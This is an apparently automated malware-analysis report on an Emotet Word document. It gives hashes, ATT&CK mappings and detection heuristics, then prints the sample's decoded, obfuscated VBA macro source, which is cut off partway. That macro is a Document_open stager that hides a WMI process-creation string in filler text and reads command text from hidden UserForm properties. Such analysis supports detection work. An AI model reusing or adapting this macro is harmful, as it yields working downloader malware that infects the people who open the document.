Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2122d67f3efbf699…

MALICIOUS

Office (OLE)

229.9 KB Created: 2020-08-17 11:24:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 4c7049e471d45ad8d660431b6adc0a94 SHA-1: 5cbfc8c8b6d754e39e4d0c253b818914d1354473 SHA-256: 2122d67f3efbf699748dcf332fcbdbe1b9ed50cc14d6e68d3d73ca0ba73289e9
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Emotet-9369643-0' strongly indicate Emotet. The VBA macros, specifically the 'Document_open' subroutine and the use of 'CreateObject', are designed to execute obfuscated code that likely downloads and runs a secondary payload. The presence of VBA macros and the typical Emotet behavior of downloading further stages justify the classification.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369643-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10020 bytes
SHA-256: 06421711886544e52db16fb5c0cbba15ba6de90d092bc1a841e35b5f42349a6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "U7bhsla_tr0d0t_iz7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Y7w3vehwocieqlskh.S17_in17l9gqs
End Sub


Attribute VB_Name = "Y7w3vehwocieqlskh"
Attribute VB_Base = "0{20F48F27-16C4-4EB9-BC4C-7D9757D194B9}{25B949AE-8185-4A85-9A13-8F2414FD0C07}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function S17_in17l9gqs()
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
Qwe0tnzhj7hs01 = Y7w3vehwocieqlskh.HelpContextId + 100
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
Otqf9ycis9n0e7 = ChrW(Qwe0tnzhj7hs01 + (100 + 35) / 9)
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
Qdpsp8f6z2vvc = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Otqf9ycis9n0e7 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Y7w3vehwocieqlskh.Tu_gdkndv7_05f0q + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
X3_r16lako6et57g = Rw6g21eqoihl(Qdpsp8f6z2vvc)
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
Set Vfrq7c662cmoj82hs0 = CreateObject(X3_r16lako6et57g)
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqxd92 = Txe2ykqxd92 & CStr(L894un2xdbdiig1)
Ln6knfeoqfy4t = Txe2ykqxd92
Cq6pzvko9hg = Y7w3vehwocieqlskh.Gnb8weey0kor.ControlTipText
   If 791639 <> 777579 Then
Corh9ed9a7yvz7n4b = 791639 + 1989
R0cctdyyn6n98vt24p = 777579 - 2013
Else
InputBox (CStr(Corh9ed9a7yvz7n4b) & CStr(R0cctdyyn6n98vt24p))
End If
R0cctdyyn6n98vt24p = "KAjamLNcTV"
L894un2xdbdiig1 = 623691
Txe2ykqx
... (truncated)